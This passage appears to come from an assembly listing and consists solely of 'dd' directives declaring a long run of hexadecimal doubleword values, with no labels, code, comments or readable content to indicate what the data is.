4698D5Eh, 885C876Bh dd 4699930Eh, 4640868Fh, 4E6809EFh, 823C1216h, 0F19249Ch dd 0B212490Fh, 9EE0680h, 0F96E76h, 1E9C41Ch, 0EC9D3922h dd 31525302h, 0A06EEE50h, 77C6B980h, 0D998001Fh, 6BE81DE9h dd 18C5CAFDh, 0B0C0CD92h, 602C585h, 0B132DD6Ah, 46003867h dd 3B31DE06h, 9DA02948h, 0A72F2410h, 3D072E00h, 275470CDh dd 0E3C30039h, 0C01F58F7h, 5600DEB4h, 50DD23C1h, 53EA2BAh dd 400C937Ah, 0E96CC0CBh, 5E4CCEE5h, 40414BE5h, 3ED932C7h dd 504D0h, 643D08E9h, 0D645942Dh, 0C6727B00h, 3F99B884h dd 11E70025h, 6E46DD49h, 7A00A5E9h, 0EEFA4EB1h, 1365CA43h dd 0E047F8EBh, 0B9CC2B40h, 2D3B2059h, 0A8EB7561h, 162B3CD8h dd 1F40FE00h, 91492F24h, 81F70388h, 93E21D8Dh, 101EB380h dd 28BF49h, 0EB7BD535h, 19D262Fh, 0A532C047h, 0D8B1B9C8h dd 63391BC5h, 12C98038h, 0C6F27A61h, 0A0DE1CAAh, 0CFF0F20h dd 94A976A0h, 880AD91Ch, 18373B92h, 1042E900h, 0BBE840h dd 0FD04C233h, 0B0CF91E4h, 6380B00h, 0ECBE7FFEh, 2A3D00EDh dd 209A6AC5h, 0E00CC8D2h, 48936B38h, 152EA0Ch, 355FF489h dd 984FED6Dh, 2A690508h, 36520363h, 22E96DDh, 0DF821CF0h dd 2500C174h, 5936651h, 484CEB56h, 8F0035A5h, 5924BD12h dd 0AC3DD7E2h, 50A8584Bh, 0C901E96Ch, 0F15F2296h, 1AE0252Ch dd 0F8B078Fh, 0B99260E3h, 6C207E0Ch, 91267F05h, 203840DAh dd 0FA4616h, 7D6F3D91h, 60539311h, 0B36CC092h, 0E27B1FE8h dd 678CE606h, 6008D648h, 0DF5521A7h, 0BF00961Fh, 0BBFC6ECEh dd 5D2ECA5h, 21E5F505h, 6F9C065Dh, 9410F946h, 1B0A4F41h dd 8C9417EDh, 5B518E75h, 2DFB5100h, 54C07398h, 18116009h dd 0C8C75948h, 0E408E1EAh, 18F05Fh, 3455ED93h, 80E82EAh dd 4038A247h, 6B53FFC5h, 95960A6Ch, 1ED86A14h, 795E4ABBh dd 81103090h, 0EB38D3DEh, 16B51DD5h, 5D0828D9h, 0D6AC2180h dd 0C1E01BD3h, 0D830F42Ah, 9749EAF0h, 0A2085300h, 53BC3018h dd 5F19660h, 1A77D4h, 0EEC889B7h, 53AB5EEAh, 25881800h dd 3A7449C6h, 1E6D12B2h, 752C21EDh, 63418F9Fh, 2E003F89h dd 9E2FF38Dh, 0CDDA1E7Eh, 0FD2ADD41h, 0B1ED3401h, 8762E9F0h dd 0DD60F8D8h, 0A0430F85h, 0D0AA8632h, 1907A49Ch, 8AC9195h dd 0D1218127h, 8053AA8Dh, 65F5D4h, 6EE18A0Fh, 0BC432D94h dd 9850792Ah, 0DCBAA700h, 2369B6E0h, 5FAB006Dh, 4DC1E8F9h dd 7700D340h, 594717Eh, 129D2C02h, 1054C7D1h, 0E523A448h dd 94526E01h, 211877F4h, 0E662988h, 0BEACA452h, 3BCB4160h dd 1614C14Dh, 87F09498h, 0F42056E1h, 3872E6h, 66C4BEE2h dd 0B520D635h, 40E4E4A3h, 0DDEE62CCh, 0FB9005Ah, 0F529CA94h dd 71D43933h, 69607B24h, 0D0ECBF59h, 0C80B0A77h, 0BE943511h dd 1AB5EF00h, 0D052E056h, 0D7C53807h, 6C5411DDh, 0AB88AC8Eh dd 0B0AA0BC1h, 5497C6FCh, 5C12E099h, 1533BEDBh, 0CAB15779h dd 0EB35EDF0h, 0D149B100h, 0C1036981h, 0C66F0718h, 9DE3F56Ah dd 8F9191F1h, 0DE1FEC83h, 228D06D9h, 0E351C3F4h, 26CEB81Fh dd 0A290799h, 0F2EC3F6Dh, 0E0846B56h, 526760E4h, 7FF42385h dd 26002311h, 630C525Fh, 840160CCh, 582EEC8Eh, 6CC496ACh dd 72E7806Dh, 70321401h, 9C117ACCh, 3DEB5848h, 0EA3DF1Fh dd 4E00AB11h, 84DB1FE6h, 8E1D02FFh, 0FB41CD1Ch, 1D391498h dd 5258980h, 0FE4280F0h, 0F7868400h, 0AC3C8A7h, 2E7605A5h dd 4017FB67h, 0D0C4C2B4h, 0EF003868h, 72B3A379h, 0DF1FF0FFh dd 2FCB8021h, 0DB0B666Fh, 0E8001EF0h, 7FDD1CEh, 15AB2C9h dd 0EB69B3A2h, 9FC8C386h, 0B88040A9h, 2291CD30h, 12D6F4A5h dd 1DEE7EA8h, 8701A3D4h, 0BC9C69AAh, 0D4882618h, 2EAA008Eh dd 0B4E0D7E3h, 0EB30D822h, 0C496694Bh, 6409E8A0h, 5F43185Bh dd 20E88FC9h, 0C3DF632Ch, 0E8225052h, 627C8CE1h, 57F48810h dd 525A2DE0h, 534AC600h, 484E498Dh, 0BCD0B1B8h, 31C05B80h dd 71C4D26Fh, 9CC25E00h, 4EE95CF4h, 484F0F10h, 942C6369h dd 0AC07199h, 0BDE759ABh, 199C6054h, 6F5DFB9Bh, 1E002E7Ch dd 0BF20FC9Fh, 0EA97AC70h, 0B01B59C6h, 0A44211F8h, 105A0E23h dd 8CFA2D20h, 0DB56F772h, 0AA8802E8h, 31949C6Ah, 8FCF1023h dd 379A00AAh, 0F949C4AEh, 9048CB3Ch, 3DA230Ch, 9C6DAA8Bh dd 202D628Ch, 5EAA92D0h, 0EB85F500h, 0BF144AFFh, 356B1576h dd 0FD3EF073h, 1077F980h, 0D8CE5EEDh, 3A2F4300h, 8ECB46C6h dd 79D312F2h, 114404Fh, 311D1AAEh, 37B0F2A0h, 0D96AE300h dd 0CB4DAF08h, 931C04C2h, 89532297h, 497E2C8h, 2057790Bh dd 67F2C1D8h, 538D2835h, 2170E310h, 161CB256h, 16D2CDh dd 338BF188h, 0F47D737Fh, 2E487467h, 0C08C0680h, 1AD233CCh dd 3EC40128h, 38615046h, 800B751Fh, 56C51A21h, 0C14A426h dd 829346DEh, 1C99F018h, 41457A0Ch, 20A648DEh, 0C5CA1861h dd 64398652h, 0C1F0E6h, 6F093296h, 0CC236AB5h, 8F522901h dd 8B5A1CC5h, 56E09DE9h, 91A061E8h, 57E7E263h, 14F38198h dd 7440EE11h, 722C4894h, 761974EAh, 442033E0h, 1C68E8E9h dd 0F1384FAFh, 0C407DC19h, 0A6F0738Dh, 993A1500h, 0C86E9114h dd 7D8C07DEh, 1220926Bh, 58409A64h, 0D50DF49Dh, 8F50CE4h dd 5BEE7FCh, 6036DBEFh, 0ED9CC272h, 4C3148C2h, 6BA02054h dd 82A8E78h, 4A44E0D3h, 48E16062h, 6B3F92DAh, 63679D06h dd 2AF1CBE8h, 9AC104Ah, 8E6DE997h, 0ABE60400h, 6F100818h dd 6048414h, 0A1D1EC54h, 0F3E00878h, 59745C98h, 51492B78h dd 33C83ADCh, 0C0AB21A3h, 0C09D7548h, 0C195CE71h, 1478A36Dh dd 890B4CB2h, 831707E2h, 6AFF08Ch, 3EE0F371h, 3D44F8C9h dd 2E872C3h, 1138F66Ah, 18C66DEEh, 0B4DABE00h, 0AA714F95h dd 0F9570DD8h, 8040E573h, 9B326169h, 54E95659h, 3C9A90F4h dd 0EC306360h, 91522811h, 0FCDFF226h, 3F92021Dh, 30205013h dd 1273923Dh, 2195966Bh, 24E19374h, 5904DB9Ch, 0C2AB6FE3h dd 3C1CB583h, 6A0090B9h, 4F485B0Dh, 4E0EE2F3h, 0A1B4D946h dd 0D072955Fh, 88542C20h, 0EC3FD2F3h, 0F2D38085h, 483E8DE7h dd 0C8BB0AADh, 80C04D79h, 38D43A05h, 0DA0B5D22h, 0B5A57B8h dd 9BB8A2F8h, 47EA0371h, 0E1885945h, 0CD11805Fh, 64E4F4D3h dd 2916733Bh, 89D4B0E8h, 0A80629EFh, 60AC515Eh, 0FB951618h dd 0BE9E221h, 664FD536h, 170C0C88h, 4496E8D6h, 0E9269DD0h dd 5F0363B9h, 0D84953F3h, 4D50417h, 0BB1495C7h, 61F0C4A9h dd 0E5D84D14h, 95304142h, 0D0F00924h, 0F018C340h, 68016093h dd 7358D7E0h, 1ACCB29Ah, 0C4651708h, 94870345h, 910713F0h dd 8F3C5F12h, 0CC261870h dd 0EA631283h, 0E70422F8h, 28176862h, 145D4284h, 0E461013Ah dd 97EC3A8Fh, 64D85982h, 0C0A0A275h, 6E844E37h, 0CC400F4Bh dd 0A438C916h, 0AD072640h, 229612ACh, 0E718491Ch, 6ADD0985h dd 1183574Fh, 23ED7395h, 51CA8098h, 44CBA4A5h, 212C200Ch dd 3C0834E3h, 0BE311E41h, 36823032h, 0F852C903h, 305E1E00h dd 0EA8A8CB5h, 0DC43FFD5h, 2C04D590h, 0FC87E56Bh, 421A74C2h dd 790AFBDh, 218F7172h, 309D107Fh, 14B881A5h, 0E08A6FEDh dd 4E993460h, 288002D0h, 0C8482C7Ch, 8504F4BEh, 0A3AE1D8Dh dd 92FAACC0h, 68212CE0h, 50E904ECh, 4430905Bh, 3C909882h dd 1C155101h, 69B29C6Fh, 44034461h, 0BD511DBFh, 317ED8F2h dd 9918E44Fh, 10A02668h, 675D33A5h, 0D4E1D6E0h, 6188322h dd 0CF1C2996h, 3CC31FC4h, 6218002Fh, 3A3408F9h, 0B934338Eh dd 94064920h, 0FE304172h, 3510785Ch, 8103D15h, 18B3F1B4h dd 970A6E5h, 0B6F06C38h, 0C879A860h, 0B9064C96h, 0E85D86h dd 34442675h, 97CA7B7Fh, 0D979C0C0h, 288C0E36h, 0FB1410B8h dd 0A4448108h, 5CF884DDh, 80437E88h, 0AB0098C7h, 89EE8F9Ah dd 1E07C594h, 2E96E5A3h, 0AB70133h, 0F00EE866h, 0B000C756h dd 52E789C6h, 0FE25096h, 0FA84B7A7h, 0A1D39860h, 7900E6F9h dd 6FC17A5Eh, 16DFD4h, 89C52494h, 98E8618Bh, 4100BE7Eh dd 71E03AB1h, 0ACC45Dh, 0D124F9C8h, 0AFB5E3F6h, 0C0A07C00h dd 3C21452Dh, 0ED780699h, 308C1703h, 0A568300h, 2438D125h dd 0FCAF00A8h, 500522E1h, 1300B3D5h, 0A3DB740Dh, 38F6AC08h dd 83007746h, 35EC637Ch, 2600B3D9h, 2AC61D62h, 9847C8h dd 112780EBh, 77099221h, 0D4B29407h, 43F0A61Fh, 0F02CA4h dd 48E60DADh, 0FE3190D0h, 0A3CF3Eh, 0F29C54AAh, 4CD5B3Ah dd 0EE7C0B52h, 9784A01Bh, 0AFA40700h, 8FC443A5h, 1A114C05h dd 0BA00A63Ch, 0EE220C01h, 0F073EADh, 27BBF98Ah, 1C9AD200h dd 0F4EA0029h, 934CCB32h, 0EF3F640Fh, 0E8360035h, 38FFA5F7h dd 27A80740h, 0F51C59h, 17BEFDDDh, 0BFB55600h, 6602AB8Eh dd 1DF20230h, 20453331h, 477ECEC0h, 3AD6CE0Eh, 92530054h dd 0F628905h, 0BF677BAFh, 8A815C00h, 0A005407h, 13D4EDFEh dd 1440414h, 0F90135EBh, 348A746Fh, 0D90ABE28h, 0D0594BC2h dd 0DFBB6700h, 2156A5h, 0B355FCA0h, 700974B7h, 0F0B86A28h dd 72064A00h, 0BCC9A758h, 19ED60FDh, 2AA16617h, 83037600h dd 0A8B43EA3h, 0C58C07Bh, 77EF3A56h, 915CD501h, 952011F8h dd 0F3C3EF0h, 0EE652BBCh, 0DBD1E980h, 3703CBC8h, 5C3DBA2Ah dd 0D9610786h, 0F13ED2D3h, 0F51AC622h, 0B7A0CC43h, 40DA21CEh dd 88015FF0h, 0FAA124BBh, 0ABDC004Ch, 0ADDE57E0h, 39B34600h dd 582BED35h, 998F06EFh, 4092371Eh, 1CFB5A00h, 89E35DAh dd 0B33E3B8Ah, 0CB8EB580h, 67183692h, 0D8A44C01h, 87440830h dd 312643Ch, 0B1C6001Ch, 920BB837h, 9E9B240Fh, 0D8E00B2h dd 0F21608h, 3E046AD9h, 74E3D71Bh, 0F90035E2h, 0DECF8E3Dh dd 4326B6Fh, 614BA80Ch, 0D91490ADh, 0F841D24h, 31E1D14Ch dd 1B3DA600h, 0FF007F67h, 22CFDDCh, 0FC45E9Dh, 8169ADB2h dd 6F9F0840h, 9398699h, 12F50F19h, 0B57A037h, 3898546Ch dd 1700C00Ah, 2B6A9D41h, 4F00905Dh, 325A8B7Dh, 20ABE155h dd 690395F4h, 0FFF2F74h, 6DB10782h, 800E0234h, 5E65DF4Dh dd 860D291Fh, 0C0EB390Eh, 1D942012h, 0AE37033Bh, 9289493Fh dd 0F8BCEAD1h, 412E7A57h, 1C009306h, 0D5823ADFh, 23440090h dd 0D678F5EDh, 96E43042h, 43CED900h, 226FF7BFh, 59C94A8h dd 40AD0F78h, 0FA390580h, 1D00804Dh, 0AC62ED0h, 5F56427Bh dd 0F660B0A3h, 0C75A9500h, 0CC8B4AA9h, 571003C8h, 0E61C2D4Eh dd 5C33A880h, 0A6D95A1Ch, 3A1D2902h, 652040B7h, 0B317E6Ch dd 8A964E97h, 82038B00h, 0CB028C2Ch, 505D9BBDh, 0BA13C02Eh dd 0EC742E3Ah, 6ED8E88h, 540FF820h, 0EE001332h, 0A05D1EF1h dd 576A0Ah, 0F62C7A24h, 525311Ah, 0C7350E00h, 426DA422h dd 9B1802C8h, 1EC96878h, 0A379A450h, 5AA45C07h, 0E11FBBCAh dd 69A55BECh, 0B9B5E0h, 97C7FD72h, 0E203CDD1h, 0A607F698h dd 0BDBC81FCh, 91989560h, 0B77800EDh, 0FE2B5340h, 0F4EF6BB8h dd 72009FA0h, 42985504h, 26544D89h, 80DCC722h, 0E75BD29Eh dd 0EF00E01Ah, 76FF131Ch, 0F0934Bh, 0C95382C2h, 81F3B439h dd 0C600FC75h, 0DA159608h, 7CF0F621h, 0E2460905h, 0C0203FF4h dd 529BE0AFh, 15C9E48h, 55EF9672h, 0DED02ADAh, 0D6AB07B1h dd 0F04AC6C7h, 0DCD1ECAh, 80F3253Ah, 271FE6A7h, 23599D1h dd 0B42E418h, 2CC0232Ch, 0D30E4BDEh, 60A8CEAAh, 394D6E7Fh dd 8F4000CFh, 0ECEF9BE3h, 250F3F75h, 0A196EAC4h, 0C2F553A8h dd 46C7E4h, 0A7B48736h, 0C0BD4F05h, 0C8AE1B1Dh, 0E32B14h dd 0D4648B2Eh, 24FAD7C4h, 419BCFh, 5813254Fh, 12055FD2h dd 2A6E8F4h, 95C014h, 1CCDEC53h, 61455Bh, 0AA27C0B0h, 151271D9h dd 0E7947E0h, 0E1AC9D00h, 756DABAEh, 80690F30h, 5D6FFAE2h dd 86840640h, 1E015792h, 0DD61A115h, 828EA69h, 58976F00h dd 76858670h, 0E874CA00h, 0C655A157h, 7EC512B1h, 0FD0600E9h dd 4EE5FFC9h, 38A28A38h, 0DB07186Eh, 131DA4Eh, 928DFC45h dd 21BA42D8h, 440CF40Ch, 0CD940E50h, 0DE64C700h, 4E6CE7A2h dd 0F487501Fh, 0AADB0098h, 4C756A69h, 9D2C0F92h, 0D80AB383h dd 22059CA0h, 0F4004DFFh, 11CC2A96h, 3AE80126h, 0A763732h dd 804ED9D1h, 154A5920h, 1DE47A17h, 44F82430h, 0A008F642h dd 93132178h, 0D800B4D5h, 3ACFBE0Eh, 0DFFC0140h, 944B119Fh dd 2F582057h, 9C01C679h, 8B716BFBh, 5AF1C179h, 69749850h dd 9028904Fh, 344000A9h, 80313C2Dh, 0F80F9ED6h, 0E24E7D15h dd 5A2E2F7Eh, 9C370034h, 29B0F2E5h, 9200C57Fh, 0AC633471h dd 2A0BBCCh, 58266B05h, 0C8E091ABh, 0DA03740Ch, 888DA2C4h dd 0DBACD8B1h, 87A601C1h, 9E0AC386h, 9C0760D8h, 5349DE0Ch dd 3AE0A16Bh, 74808F4Fh, 0D5E26D07h, 52F5484Bh, 54005310h dd 39C6D08h, 4171077Ch, 99D96BC3h, 7EE3F264h, 8FA63EA0h dd 486D3617h, 0BDAACD00h, 0E9E5B91Bh, 0AF95A841h, 0E868DEFCh dd 0E9E9C016h, 9A03F490h, 1A739D1Fh, 0CFEA8D07h, 0AF70D841h dd 944C908Ah, 6D150C18h, 48C1EC99h, 0B53833EEh, 0A8DFDCh dd 3D51798Fh, 0F3428C0Eh, 31ED4812h, 0E532CC00h, 0D71DC9h dd 225963E8h, 97D46B5Fh, 58750D12h, 7398A0h, 0B507BC9Ah dd 1C3FAF0Fh, 138D0E1Dh, 0AADD6402h, 71D0A00Bh, 0E465969Ah dd 0EB1538C3h, 0E864177Ch, 0CA7447A1h, 166FF108h, 8FB98025h dd 0D01C143Ah, 5DF33E64h, 0BAAC7804h, 5A4A88Ah, 9BA9BE2Eh dd 0BBAAB800h, 4EE963D9h, 0F02C06D6h, 6000879h, 908066C9h dd 0EF0C3812h, 0CFD146Ch, 0AB4BF004h, 42CF2848h, 7E225890h dd 92E62241h, 223BC122h, 7225627Dh, 9CFB1404h, 46898548h dd 0FD0CA0D0h, 0F6CA24Fh, 6DBAB4E1h, 56A08900h, 0F5E2ABE2h dd 0D03B7F8h, 0E89AF167h, 2A1F845h, 9304167Ah, 444600D9h dd 0BCCA3F57h, 0E9001898h, 272ABB4h, 1F1530h, 0C1076162h dd 0B3431BFDh, 5E4CDC90h, 7FB90164h, 554A140Eh, 3AFC1880h dd 32F878DAh, 43D26E05h, 0DCE09E12h, 1C11EE27h, 669576D7h dd 3A154000h, 78389F46h, 0D2FB80C3h, 4DA22155h, 1CA037Fh dd 0F7C72A5Fh dd 0D70CC0D4h, 3000DD32h, 0EE4E59D0h, 10A6A1Dh, 0AA31A876h dd 683CB3F4h, 783203B0h, 0CFBE85BBh, 21E67F70h, 3C18996Ah dd 4BA4869Ch, 64ACBD6Bh, 2EB01B19h, 8C0F4CE2h, 20037098h dd 87D7E67Eh, 541E07CBh, 0F73A5D96h, 0C06654CFh, 425125FBh dd 78EE591Ch, 318048F7h, 6E0458h, 144AE27Eh, 0D8C44664h dd 0B12F0201h, 0EFCBA027h, 7CA2074h, 981AF46Ch, 0E8925095h dd 0A51EC219h, 0B4C0F58Ah, 334B710Dh, 348601E9h, 5EEE6255h dd 9778D4E1h, 0E7FE2D00h, 4C717DD7h, 41A439C4h, 8EB5318Fh dd 78C5C843h, 9C7C2CA8h, 0F0286E60h, 12B1EB8h, 0CF4D1B72h dd 40EBF9D3h, 6183E7E4h, 705458h, 64D675DDh, 805082h, 0AFBD17EEh dd 0CDE97124h, 88744505h, 287B29Bh, 889D7063h, 2DCC8C3Dh dd 0F800FD7Dh, 46D06CD3h, 0B3C33001h, 0F2F55562h, 0D81EFC55h dd 0FFE7DE80h, 0EAA3A7h, 6EF9F87Dh, 5543696Ch, 5F56FCA0h dd 172D2800h, 37AD09E1h, 92DEFE66h, 0C8E07Ch, 0C07784EBh dd 387CDCA7h, 70EDA500h, 32585AA9h, 0D0161799h, 0E9E4C018h dd 7E38B0F4h, 5D51008Eh, 81B1EDEFh, 0CFE08Dh, 0AADFE560h dd 0BAEB058Ch, 90A96C00h, 0BD9E13A0h, 0C03B0FB7h, 0A1070993h dd 0D6917068h, 6013DFBh, 5E9C9BD3h, 6C28E82Ch, 0AA401700h dd 0F4165729h, 79000C9Ch, 0AFEAA943h, 0B1DC03C2h, 0E7EE5F24h dd 0C990D1A0h, 408C8A51h, 0FDDCE23Eh, 2EE3061Dh, 0BA9BD003h dd 0E0287CE8h, 3CAF008Bh, 0EA793E7Dh, 0DD0B3142h, 0D3340Bh dd 178F85F0h, 4C150029h, 58195637h, 0BE005901h, 0FCC9882Bh dd 19C3882h, 0ECEB922Fh, 0C4536964h, 1C1FA6C6h, 0E3004067h dd 0DE5038FAh, 3D66F49Ah, 0C88FFE34h, 4F2CB9Ch, 0B0F9043Fh dd 7707679Ch, 73787F53h, 0B0585F13h, 0F0758246h, 5E511C69h dd 0D7D8154h, 30A95A61h, 0C0014F30h, 98B8AC8Ah, 0D0F3C264h dd 339F83h, 0E61C885h, 7035F7E8h, 6C665326h, 623D0281h dd 20259FB6h, 4A3CE0h, 0F4B1BF60h, 28B5363Eh, 660165ECh dd 0E75AD2A0h, 88F80AB3h, 6C73005Fh, 0CAC6827Ch, 0B700644Dh dd 8A2A063h, 0EC030159h, 65C238ACh, 1F771EFAh, 0EE7E09A6h dd 82688B81h, 0F4B4D939h, 0BF00B554h, 0CFA37AFEh, 0E301F7Dh dd 0EEA595DDh, 548E91E0h, 90255CF9h, 40D80FF0h, 0B599E3A4h dd 137100AFh, 0DF857C56h, 0AA00AB65h, 819398CCh, 406286h dd 9B344642h, 0F930573Bh, 1C442C1Dh, 37E7D680h, 73632Fh dd 0C4F0B4B6h, 0D8F1A53Fh, 0C0ADE500h, 879095C9h, 6FEA0004h dd 5E2A1AFDh, 6C3B9362h, 0E0788141h, 0C5257516h, 79FB8ED0h dd 0EAD600D9h, 0D5996612h, 13000719h, 0EF92BB20h, 238276h dd 5E52BE7Bh, 7F750B5Ah, 0E0369E07h, 7285F7E4h, 8011821Bh dd 0A57E9h, 3341EACDh, 3A7AE4Ah, 71CDA03h, 0C8CAB2D4h dd 9DFC6Eh, 70B43378h, 0B7C3AFA0h, 0E5C96C00h, 0ABCEFACFh dd 6A741CACh, 6EF88036h, 0EED449F3h, 0C21CA172h, 0DC40A92Ch dd 0BB43DFCEh, 45F00CFh, 710BFE4Dh, 2600E667h, 6A05483Fh dd 11FF098h, 40FFDC06h, 64213BD7h, 1C0031D0h, 0AA2F6668h dd 9829A8DDh, 28535CFCh, 2862C980h, 0C4035E9Fh, 1B194BFDh dd 0CADA80BCh, 0BD23043Bh, 0E4A3A0EDh, 8B24F004h, 0F30134B2h dd 0EFD037CBh, 1D11EAF4h, 4751BA4h, 0AAF96C4Dh, 0ACA3E4C0h dd 0FBDC0124h, 8944BE1Fh, 59852BB0h, 0BF1C93h, 0B567625Ch dd 527D7CC1h, 4EAED91Eh, 6F7ACB00h, 1B1E051h, 0FE6DAFE6h dd 0E6619D88h, 0FA48F4C0h, 3C8FBF00h, 0BB09F33h, 0FEE10059h dd 997A5E83h, 674C8C77h, 0B45FC0C8h, 13DFEAE7h, 580BF4h dd 22AE20B8h, 0E500FCA0h, 0C1250C24h, 0F1A4F9h, 9A642B29h dd 0DC74E6D4h, 0FB916900h, 7A169822h, 3B4118EBh, 96D2E0ADh dd 0A7DFB810h, 12457026h, 0CF048162h, 7E852F30h, 4B2D7500h dd 78DE0B1Fh, 2B2E01DFh, 0E10E2245h, 0F3ED077h, 0F44EF900h dd 0D91BDA70h, 3F2E004Ah, 20D1830Bh, 6F19095Ch, 49E0786Dh dd 1EDE2160h, 1C089516h, 0B4F5D388h, 6300F24Ch, 0DF091BCEh dd 3CB75Ch, 0DD882083h, 0D7E8BF6Bh, 8700FD7Dh, 3AEB44E5h dd 4E984D49h, 867C40D9h, 272E9D47h, 3AF5ED00h, 37924E87h dd 4CB019h, 90D64A06h, 0BE72544h, 0D4813C00h, 0E564AE99h dd 94EC7791h, 418F80B4h, 8B3E0E68h, 9C58DF07h, 0A9BD6940h dd 0E7CD7ACDh, 3A9536E0h, 9A3AB7F4h, 29911275h, 0EB308068h dd 0EC0016FCh, 0D5EEB510h, 4AFAAF70h, 0E8F48467h, 0D0007828h dd 87F427E5h, 91EA76h, 94BE4A2Fh, 9502EC67h, 0A793D3Dh dd 0EDE31199h, 4A080939h, 8F506856h, 7A78FCD9h, 31AD81D5h dd 63299EE9h, 0D4ED420Fh, 2291146Ch, 9FE71950h, 211AF2C0h dd 7C3580D4h, 4B338DBDh, 3ECA9A00h, 6014A3D8h, 5A1A0FA9h dd 38782B38h, 4A0089F2h, 53CDE9Bh, 1E21035Bh, 0C0B70E81h dd 0BFC066BCh, 0B5FC771Dh, 6C547E00h, 0DA29E1E4h, 7C79A3h dd 606D7507h, 1DDCD52Dh, 7B1ECFE4h, 0BE582252h, 24A630h dd 62BC4FA5h, 2BB7052Fh, 0F57D570Fh, 5921A068h, 3130E11h dd 1F1A3EEFh, 0C0F835E3h, 5200AB2Eh, 0C2F1B657h, 3C8674Fh dd 35F4C645h, 4BB03D10h, 63050E1Ah, 3F18FE78h, 0F0116AC0h dd 0AFBF0027h, 4554B7E3h, 7CF0F3A6h, 75C46700h, 422804DAh dd 3D4C746Ch, 78001E14h, 1248392Ch, 0BE07279Ch, 0B0BC2FF0h dd 50B26024h, 0F2F4A5E4h, 13D60497h, 2686B36h, 0EAFAD468h dd 9C00A056h, 0FB068075h, 60E2484Eh, 0B0E83609h, 32D46C03h dd 82229B6h, 0E3E42276h, 22B1FC22h, 0F450ED67h, 0E0457628h dd 951482D2h, 84D02FECh, 3444DE09h, 0F02D44B2h, 5F784C44h dd 3821CA11h, 0BDF62A08h, 0C7201142h, 5C080C21h, 642494FAh dd 28CFD711h, 0C8107870h, 10215001h, 88FCC208h, 3894BB84h dd 3C7C2814h, 93A07A00h, 6B31D24Bh, 0A5C400D0h, 13E85EF8h dd 1103F7AAh, 9165C019h, 3D2921A1h, 915B3E08h, 0A0C6000Bh dd 0D4B86775h, 58870355h, 0B96482A9h, 52985FC3h, 9D3E8BB6h dd 0B16F0021h, 0C999C0A2h, 0D0AD00C5h, 0AEC76BE1h, 0A801CAFEh dd 6628A735h, 42CCDFE6h, 1FF23A9Ah, 0EA5BCC05h, 0D2508045h dd 5300DB18h, 0A4C37019h, 77B14B50h, 0F30D000Bh, 221A6163h dd 0EF004CD8h, 5CD152ECh, 98E41E4Fh, 0B97E0042h, 54A73840h dd 0F700A196h, 1D7D500Ah, 0D9CF26h, 97290216h, 5DCCA707h dd 5E79907h, 32F06882h, 0C580B9h, 0C244B536h, 668D7533h dd 0C0625E00h, 11965B6Dh, 0F949C31Dh, 9CD06C29h, 4E006EE8h dd 4C72D24h, 0EED53F59h, 0DF9071Ch, 0A025A583h, 0A22681A1h dd 80B03E60h, 0CE0A19h, 0FE6C95BFh, 0AC627925h, 0BC09967h dd 0FDE9A843h, 6518BC3h, 0F7FA54A0h, 40360418h, 61C8D5h dd 469507DBh, 0E8B6A37Dh, 4E696003h, 0F813EF62h, 3CBC96B3h dd 5B03983Dh, 0D829C682h, 0F9EB9EE8h, 942E4902h, 802238E7h dd 92841495h, 3DDE7579h, 8C80A07Bh, 0E559E49Bh, 231DBFEAh dd 0CD80B584h, 0D6991B0Eh, 0B2670061h, 36B395B4h, 0EC00C03Dh dd 3C4A760Fh, 0BE29963h, 4F38E06h, 0BD60D100h, 0C700B40Eh dd 2FF56C4Bh, 4FCBE1h, 637FCA89h, 965ABCBAh, 7642D501h dd 3373B830h, 0AB4BE887h, 95E06E58h, 0BA51487Ah, 2C28231Eh dd 7B5B4000h, 7C352EB9h, 4F5E00B4h, 6E2A0607h, 5500E660h dd 1923C64h, 0F35D8Bh, 0A59CFCD0h, 812C3B1Dh, 75513400h dd 8F870453h dd 0C9E3007Eh, 3260F20Dh, 151DBC16h, 0B1C3CE9Ah, 5F0AA9h dd 1D74DE40h, 37C16514h, 0D01E60Ah, 2800A898h, 721AE232h dd 669886h, 0BE9A4D70h, 0AD83676Ah, 0F4F8962Ah, 75A9ED00h dd 0D3702F8Ch, 0E1D90034h, 0C9593972h, 0C024F238h, 554000FDh dd 4BFFBh, 50C5A978h, 34ED97D2h, 16846E1Fh, 45E75A43h dd 0F348B0DAh, 62C01D4h, 7718C9F4h, 1B9A4243h, 919A1C40h dd 0E4682B88h, 5E0C00F6h, 6BFAFF86h, 1A0112E6h, 337BC01Eh dd 80EF2B6Eh, 0D4F7B3h, 7AEBF920h, 5ACA11F0h, 0E0C73C14h dd 3B6008Ch, 813542A2h, 8C52005Fh, 638007CDh, 343FC4BCh dd 0BED0813Ch, 0D7A86F8Bh, 7281AC0h, 788A3931h, 2CED02ADh dd 210711E0h, 0AEAC1200h, 93846BE0h, 8ABC001Dh, 69565822h dd 2C90F8DFh, 57593F00h, 3EF6922Bh, 801724ADh, 0C397076Dh dd 0D46BD1F4h, 0BA33201Ch, 0CA738F02h, 41FC5CACh, 32308C2Ch dd 84305087h, 1C671C9Fh, 3E51C05Fh, 17769585h, 4970743Ch dd 0E2751D08h, 1213E8DFh, 0FEB99700h, 0AA63B1h, 0C67F9809h dd 0A7A0BEF5h, 0D1588404h, 2C811B59h, 38E6E8BDh, 78989F67h dd 1452D213h, 10A1AA00h, 50B155h, 6C5648C0h, 0CBB2C52Dh dd 0EEAD8200h, 0BC6A1B17h, 618E00D4h, 46BFC453h, 21395D79h dd 0C2F4016Eh, 0F9880BD8h, 63DC1831h, 1BD0096h, 57FDB0A9h dd 41009B2Fh, 981B6C86h, 71FECB8h, 0CE27A25Dh, 0A8D4F03Ch dd 991E0571h, 315415DAh, 0F413008Ch, 0DE1AFA60h, 39100982h dd 2A8F6B02h, 3228803h, 0DC3C76C0h, 8706A200h, 0A5F2BD4Fh dd 1D9E0067h, 0E9CA439Ch, 0AB0564C2h, 5DD554B8h, 0ECB98C41h dd 92E87588h, 0F4CE000Fh, 160D9526h, 6209D79Ah, 0FFD564h dd 7423F198h, 0EE6B3FC2h, 2BF000F3h, 0CDE31D6Fh, 19C1D449h dd 0F4EA3A31h, 0CE5EF640h, 845D2CF3h, 71790350h, 0D9B31BC8h dd 213611C0h, 6D2F1903h, 0B01595FCh, 7BAA5h, 10BF7BE8h dd 8F59C86Fh, 20787077h, 3F26305h, 0B9802586h, 2E71D2h dd 0F3A0D7E9h, 0F50614ADh, 0AA577D03h, 980F9F2Bh, 525E97h dd 281B7F56h, 7422FE0h, 27005A98h, 0D4A2C8A9h, 8A7086h dd 41FC43A4h, 0B1BA42BDh, 7A008CF0h, 27212207h, 169ABC3h dd 428BC8B7h, 